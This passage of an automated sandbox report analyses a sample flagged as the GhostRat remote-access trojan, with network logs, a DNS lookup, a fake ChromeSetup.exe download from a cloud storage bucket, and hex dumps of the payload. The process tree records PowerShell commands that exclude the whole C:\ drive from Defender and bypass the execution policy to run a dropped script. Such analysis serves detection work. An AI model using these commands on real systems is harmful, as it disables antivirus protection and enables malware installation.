Jan 10, 2025 07:54:51.953526020 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:52.276509047 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:52.323262930 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:52.369412899 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:52.374500990 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:08.151823997 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:08.151913881 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:08.156836033 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:08.156910896 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:10.090085983 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:10.095279932 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:10.095367908 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:16.879795074 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:16.885029078 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:16.885096073 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:16.885124922 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:16.885157108 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:17.204639912 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:17.207293987 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:17.212260008 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:25.980146885 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:25.985455990 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:26.302629948 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:26.354607105 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:26.402844906 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:26.407897949 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:41.729769945 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:41.729826927 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:41.735157013 CET	9091	49985	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:41.735244036 CET	49985	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:43.667771101 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:43.673137903 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:43.673242092 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:51.133807898 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:51.139250040 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:51.139291048 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:51.139344931 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:51.139372110 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:51.456346035 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:51.459264994 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:51.464165926 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:55:59.698599100 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:55:59.704199076 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:56:00.018421888 CET	9092	49986	8.217.85.20	192.168.2.9
Jan 10, 2025 07:56:00.073396921 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:56:00.169656038 CET	49986	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:56:00.175154924 CET	9092	49986	8.217.85.20	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 07:52:07.235974073 CET	65112	53	192.168.2.9	1.1.1.1
Jan 10, 2025 07:52:07.287940025 CET	53	65112	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 07:52:07.235974073 CET	192.168.2.9	1.1.1.1	0xe6c6	Standard query (0)	jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 07:52:07.287940025 CET	1.1.1.1	192.168.2.9	0xe6c6	No error (0)	jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com		47.79.66.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49751	47.79.66.76	443	7528	C:\Users\user\Desktop\FIWszl1A8l.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 06:52:08 UTC	146	OUT	GET /ChromeSetup.exe HTTP/1.1 User-Agent: URLDownloader Host: jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com Cache-Control: no-cache
2025-01-10 06:52:09 UTC	561	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 10 Jan 2025 06:52:08 GMT Content-Type: application/octet-stream Content-Length: 10384768 Connection: close x-oss-request-id: 6780C3980902553730FF7912 Accept-Ranges: bytes ETag: "8C6E8B9F0955CB1ACD92C7C43A8899ED" Last-Modified: Sat, 28 Dec 2024 13:04:37 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 590259998580795227 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: jG6LnwlVyxrNksfEOoiZ7Q== x-oss-server-time: 3
2025-01-10 06:52:09 UTC	15823	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 7b 2a 32 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 54 34 00 00 d2 69 00 00 00 00 00 e0 e4 1b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 f0 9f 00 00 04 00 00 f6 f7 9e 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 3c bc 3d 00 55 00 00 00 94 bc 3d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL{*2g"T4i@@<=U=@
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 90 1b 44 95 00 89 04 97 49 8b 44 96 04 8d 52 01 0f 8d eb ff ff ff 83 d8 00 ba ff ff ff ff 31 c2 e9 0c 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 8b 74 9c 20 8b 2c 9f 89 4c 9c 20 21 c6 21 d5 09 f5 89 2c 9f 4b 0f 8d e5 ff ff ff 8b 64 24 18 b8 01 00 00 00 5f 5e 5b 5d c3 4d 6f 6e 74 67 6f 6d 65 72 79 20 4d 75 6c 74 69 70 6c 69 63 61 74 69 6f 6e 20 66 6f 72 20 78 38 36 2c 20 43 52 59 50 54 4f 47 41 4d 53 20 62 79 20 3c 61 70 70 72 6f 40 6f 70 65 6e 73 73 6c 2e 6f 72 67 3e 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 0c 57 8b 7c 24 14 55 53 31 db 8b 06 31 c9 8b 17 31 ed f7 e2 01 c3 8b 44 24 14 11 d1 8b 17 83 d5 00 89 18 8b 46 04 31 db f7 e2 01 c1 8b 06 11 d5 8b 57 04 83 d3 00 f7 e2 01 c1 8b 44 24 14 11 d5 8b 17 83 d3 00 89 48 04 8b 46 Data Ascii: DIDR1t ,L !!,Kd$_^[]Montgomery Multiplication for x86, CRYPTOGAMS by <appro@openssl.org>Vt$W\|$US111D$F1WD$HF
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 5c 24 24 31 fd 89 ce 0f a4 c9 05 01 eb 31 fe 0f ac d2 07 01 cb 03 44 24 28 31 d6 89 dd 0f a4 db 05 01 f0 31 d5 0f ac c9 07 01 d8 03 7c 24 2c 31 cd 89 c6 0f a4 c0 05 01 ef 31 ce 0f ac db 07 01 c7 03 54 24 30 31 de 89 fd 0f a4 ff 05 01 f2 31 dd 0f ac c0 07 01 fa 03 4c 24 34 31 c5 89 d6 0f a4 d2 05 01 e9 31 c6 0f ac ff 07 01 d1 03 5c 24 38 31 fe 89 cd 0f a4 c9 05 01 f3 31 fd 0f ac d2 07 01 cb 03 44 24 3c 31 d5 89 de 0f a4 db 05 01 e8 0f ac c9 07 01 d8 c5 fc 77 8b ac 24 c0 00 00 00 03 45 00 8b a4 24 cc 00 00 00 03 75 04 03 4d 08 89 45 00 03 55 0c 89 75 04 03 7d 10 89 4d 08 89 55 0c 89 7d 10 5f 5e 5b 5d c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 99 79 82 5a 99 79 82 5a 99 79 82 5a 99 79 Data Ascii: \$$11D$(11\|$,11T$011L$411\$811D$<1w$E$uMEUu}MU}_^[]yZyZyZy
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 54 24 14 01 cb 89 d1 0f ac d2 0e 8b 74 24 18 31 ca 8b 7c 24 1c 31 fe 0f ac d2 05 21 ce 89 4c 24 14 31 ca 31 f7 0f ac d2 06 89 d9 01 fa 8b 7c 24 08 89 de 0f ac c9 09 89 5c 24 04 31 d9 31 fb 03 14 24 0f ac c9 0b 21 d8 31 f1 03 54 24 3c 31 f8 0f ac c9 02 01 d0 03 54 24 10 01 c8 89 d1 0f ac d2 0e 8b 74 24 14 31 ca 8b 7c 24 18 31 fe 0f ac d2 05 21 ce 89 4c 24 10 31 ca 31 f7 0f ac d2 06 89 c1 01 fa 8b 7c 24 04 89 c6 0f ac c9 09 89 04 24 31 c1 31 f8 03 54 24 1c 0f ac c9 0b 21 c3 31 f1 03 54 24 40 31 fb 0f ac c9 02 01 d3 03 54 24 0c 01 cb 89 d1 0f ac d2 0e 8b 74 24 10 31 ca 8b 7c 24 14 31 fe 0f ac d2 05 21 ce 89 4c 24 0c 31 ca 31 f7 0f ac d2 06 89 d9 01 fa 8b 3c 24 89 de 0f ac c9 09 89 5c 24 1c 31 d9 31 fb 03 54 24 18 0f ac c9 0b 21 d8 31 f1 03 54 24 44 31 f8 0f Data Ascii: T$t$1\|$1!L$11\|$\$11$!1T$<1T$t$1\|$1!L$11\|$$11T$!1T$@1T$t$1\|$1!L$11<$\$11T$!1T$D1
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: cc 55 89 e5 31 c0 5d c3 cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 89 ce 8b 01 8b 78 20 89 f9 ff 15 90 bb 7d 00 89 f1 ff d7 83 f8 ff 75 07 31 c0 48 5e 5f 5d c3 8b 46 0c 8d 48 01 89 4e 0c 0f b6 00 eb ee cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 1c 89 c8 8d 55 e8 89 62 fc c7 42 08 ff ff ff ff c7 42 04 60 20 41 00 64 8b 0d 00 00 00 00 89 0a 64 89 15 00 00 00 00 8b 08 8b 49 04 83 7c 08 18 00 74 62 c7 45 d8 ff ff ff ff c6 45 d8 00 89 45 dc 89 45 e0 83 7c 08 10 00 75 3f 8b 45 e0 8b 4c 08 48 85 c9 75 76 c6 45 d8 01 8b 4d e0 8b 01 8b 40 04 8b 74 01 18 8b 06 8b 78 14 c7 45 f0 ff ff ff ff 89 f9 ff 15 90 bb 7d 00 c7 45 f0 01 00 00 00 89 f1 ff d7 83 f8 ff 74 1d 8d 4d d8 e8 06 f1 1d 00 8b 45 e0 8b Data Ascii: U1]UWVx }u1H^_]FHNU]USWVUbBB` AddI\|tbEEEE\|u?ELHuvEM@txE}EtME
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 8d 75 c8 56 e8 b8 3c 13 00 83 c4 10 8b 45 ec 8b 4d e4 50 51 68 a4 67 75 00 56 e8 72 39 08 00 83 c4 10 8b 75 d8 85 f6 8d 5d 08 75 47 8d 4d e8 eb 22 8b 3b 85 ff 74 7e 8d 75 c8 89 3e c7 03 00 00 00 00 8b 4f 04 ff 15 90 bb 7d 00 57 ff d1 83 c4 04 89 f1 e8 d9 3d 13 00 89 d9 e8 d2 3d 13 00 8b 4d f0 31 e9 e8 fe 93 1a 00 83 c4 30 5e 5f 5b 5d c2 04 00 8b 7d dc 89 f0 39 fe 74 23 83 c7 f4 85 ff 74 2d 80 7f 0b 00 79 0a ff 37 e8 e1 80 1a 00 83 c4 04 8d 47 f4 39 f7 89 c7 75 e3 8b 45 d8 89 75 dc 50 e8 c9 80 1a 00 83 c4 04 e9 7c ff ff ff 0f 0b cc 0f 0b cc 0f 0b cc 0f 0b cc 0f 0b cc cc cc 55 89 e5 53 57 56 81 ec b8 02 00 00 89 ce a1 40 20 7e 00 31 e8 89 45 f0 8d bd 88 fe ff ff 68 20 01 00 00 68 ff 00 00 00 57 e8 22 c3 1a 00 83 c4 0c 8b 4e 0c 57 e8 c6 e0 00 00 80 bf 1c 01 Data Ascii: uV<EMPQhguVr9u]uGM";t~u>O}W==M10^_[]}9t#t-y7G9uEuP\|USWV@ ~1Eh hW"NW
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 00 8d bd 2c ff ff ff 89 f1 89 de 57 e8 d0 bc 0b 00 8d 85 44 ff ff ff 50 8d 85 50 ff ff ff 50 57 8d 45 10 ff 30 8d 45 18 ff 30 53 e8 21 27 00 00 83 c4 18 80 7f 0b 00 79 0e ff b5 2c ff ff ff e8 2d 41 1a 00 83 c4 04 80 bd 5b ff ff ff 00 79 0e ff b5 50 ff ff ff e8 16 41 1a 00 83 c4 04 8b bd 38 ff ff ff 8b 9d 3c ff ff ff 6a 34 68 36 6a 75 00 e8 9b f5 12 00 83 c4 08 39 df 0f 84 87 00 00 00 85 c0 7e 63 8d bd 50 ff ff ff 89 f9 6a ff 68 5f 01 00 00 68 36 6a 75 00 e8 e3 4a 08 00 8d 85 58 ff ff ff 6a 24 68 f0 6f 75 00 50 e8 20 ec 0f 00 83 c4 0c 8b 8d 3c ff ff ff 2b 8d 38 ff ff ff c1 f9 03 69 d1 ab aa aa aa 89 c1 52 e8 10 de 0f 00 6a 0e 68 15 70 75 00 50 e8 f3 eb 0f 00 83 c4 0c 89 f9 e8 89 4f 08 00 8b 8d 24 ff ff ff 56 e8 fd be 0b 00 31 f6 84 c0 75 5f c7 45 14 09 00 Data Ascii: ,WDPPPWE0E0S!'y,-A[yPA8<j4h6ju9~cPjh_h6juJXj$houP <+8iRjhpuPO$V1u_E
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: ff ff 89 85 44 ff ff ff 39 f0 0f 85 9b 00 00 00 8b 8d 4c ff ff ff 89 f8 83 bd 48 ff ff ff 00 74 6a 8b 85 44 ff ff ff 8d 70 ff 8b 85 48 ff ff ff 48 89 85 34 ff ff ff 31 c0 8b 8d 4c ff ff ff 0f b6 0c 01 0f b6 1c 07 89 da 80 c2 bf 88 de 80 c6 20 80 fa 1a 0f b6 d6 0f 43 d3 89 cb 80 c3 bf 88 cf 80 c7 20 80 fb 1a 0f b6 df 0f 43 d9 38 da 75 3a 8d 48 01 39 c6 74 0a 39 85 34 ff ff ff 89 c8 75 b7 8d 04 0f 03 8d 4c ff ff ff 03 bd 44 ff ff ff 39 f8 75 16 8b 85 4c ff ff ff 03 85 48 ff ff ff b3 01 39 c1 0f 84 fc 00 00 00 6a 40 68 c8 71 75 00 e8 5a b5 12 00 83 c4 08 85 c0 0f 8e d9 00 00 00 8d 9d 50 ff ff ff 89 d9 6a ff 68 8f 01 00 00 68 c8 71 75 00 e8 a6 0a 08 00 8d 85 58 ff ff ff 6a 1d 68 c6 73 75 00 50 e8 e3 ab 0f 00 83 c4 0c 8b 95 3c ff ff ff 0f be 4a 23 85 c9 8b b5 Data Ascii: D9LHtjDpHH41L C C8u:H9t94uLD9uLH9j@hquZPjhhquXjhsuP<J#
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: cc 55 89 e5 53 57 56 83 ec 44 89 ce 8b 7d 0c a1 40 20 7e 00 31 e8 89 45 f0 89 f9 e8 61 3e 07 00 84 c0 0f 84 87 01 00 00 89 75 b0 8b 5e 10 8b 03 8b 70 50 89 f1 ff 15 90 bb 7d 00 89 d9 57 ff 75 08 ff d6 8d 5d d8 89 f9 53 e8 43 3e 07 00 0f be 43 0b 85 c0 79 06 8b 45 dc 8b 5d d8 8d 4d e4 50 53 51 e8 aa db 11 00 83 c4 0c 68 f4 12 76 00 e8 f1 74 1b 00 83 c4 04 3d f8 ff ff 7f 0f 83 30 01 00 00 89 c3 8d 45 cc 83 fb 04 0f 86 0e 01 00 00 89 df 83 cf 03 47 0f 88 0e 01 00 00 89 c6 8d 04 3f 50 e8 93 c0 19 00 83 c4 04 89 45 cc 81 cf 00 00 00 80 89 7d d4 89 5d d0 8d 3c 58 b9 f4 12 76 00 39 c8 0f 97 c2 39 cf 0f 96 c1 08 d1 0f 84 d5 00 00 00 85 db 74 11 01 db 53 68 f4 12 76 00 50 e8 ac fd 19 00 83 c4 0c 66 c7 07 00 00 8b 4d 08 0f be 41 0b 85 c0 79 05 8b 41 04 8b 09 8d 5d Data Ascii: USWVD}@ ~1Ea>u^pP}Wu]SC>CyE]MPSQhvt=0EG?PE}]<Xv99tShvPfMAyA]
2025-01-10 06:52:09 UTC	16384	IN	Data Raw: 2c 0f 00 83 c4 0c 89 f9 e8 64 90 07 00 e8 4f 80 11 00 8b 38 6a 1c e8 1f 81 19 00 83 c4 04 89 c3 89 c1 68 70 58 41 00 68 30 a4 41 00 68 d0 62 42 00 e8 0b 3d 12 00 8b 06 89 43 10 31 c9 80 7d 0c 00 ba 19 25 01 00 0f 44 d1 89 0e 89 53 14 89 4b 18 85 c0 0f 84 b3 01 00 00 89 9d 30 ff ff ff 8d 9d 4c ff ff ff 68 ac 00 00 00 68 22 7b 75 00 68 ba 7b 75 00 53 e8 47 3c 12 00 83 c4 10 8b 85 30 ff ff ff 89 f9 50 53 e8 55 7b 11 00 89 f1 e8 9e 3d 12 00 8b 4d f0 31 e9 e8 ca 93 19 00 81 c4 c8 00 00 00 5e 5f 5b 5d c2 0c 00 8b 87 90 00 00 00 89 85 2c ff ff ff 8d 85 4c ff ff ff 68 a7 00 00 00 68 22 7b 75 00 68 ba 7b 75 00 50 e8 f0 3b 12 00 83 c4 10 6a 18 e8 5f 80 19 00 83 c4 04 89 c3 89 c1 68 70 58 41 00 68 30 a4 41 00 68 40 62 42 00 e8 4b 3c 12 00 8b 06 89 43 10 31 c9 89 0e Data Ascii: ,dO8jhpXAh0AhbB=C1}%DSK0Lhh"{uh{uSG<0PSU{=M1^_[],Lhh"{uh{uP;j_hpXAh0Ah@bBK<C1

Target ID:	0
Start time:	01:52:00
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\FIWszl1A8l.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FIWszl1A8l.exe"
Imagebase:	0x400000
File size:	3'213'672 bytes
MD5 hash:	F1C0A349EF488C9D2FDE3DD7F3C497BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:52:02
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:52:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:52:03
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x460000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:52:04
Start date:	10/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:52:06
Start date:	10/01/2025
Path:	C:\Users\user\AppData\Roaming\FIWszl1A8l.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FIWszl1A8l.exe"
Imagebase:	0x400000
File size:	3'213'672 bytes
MD5 hash:	F1C0A349EF488C9D2FDE3DD7F3C497BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.2570644353.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.3537866824.0000000004173000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.1775024265.0000000004111000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000002.3791271776.0000000004310000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000002.3789481950.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.2571249345.0000000003F9B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.1743428014.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.1775024265.0000000004142000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000003.2529901329.00000000041B4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GhostRat, Description: Yara detected GhostRat, Source: 00000006.00000002.3786854154.00000000027E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	01:52:06
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:52:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:52:06
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0x460000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:52:08
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:52:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:52:08
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Imagebase:	0x460000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:52:33
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 2452, Parent PID: 7852

General

Target ID:	16
Start time:	01:52:33
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:52:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:52:33
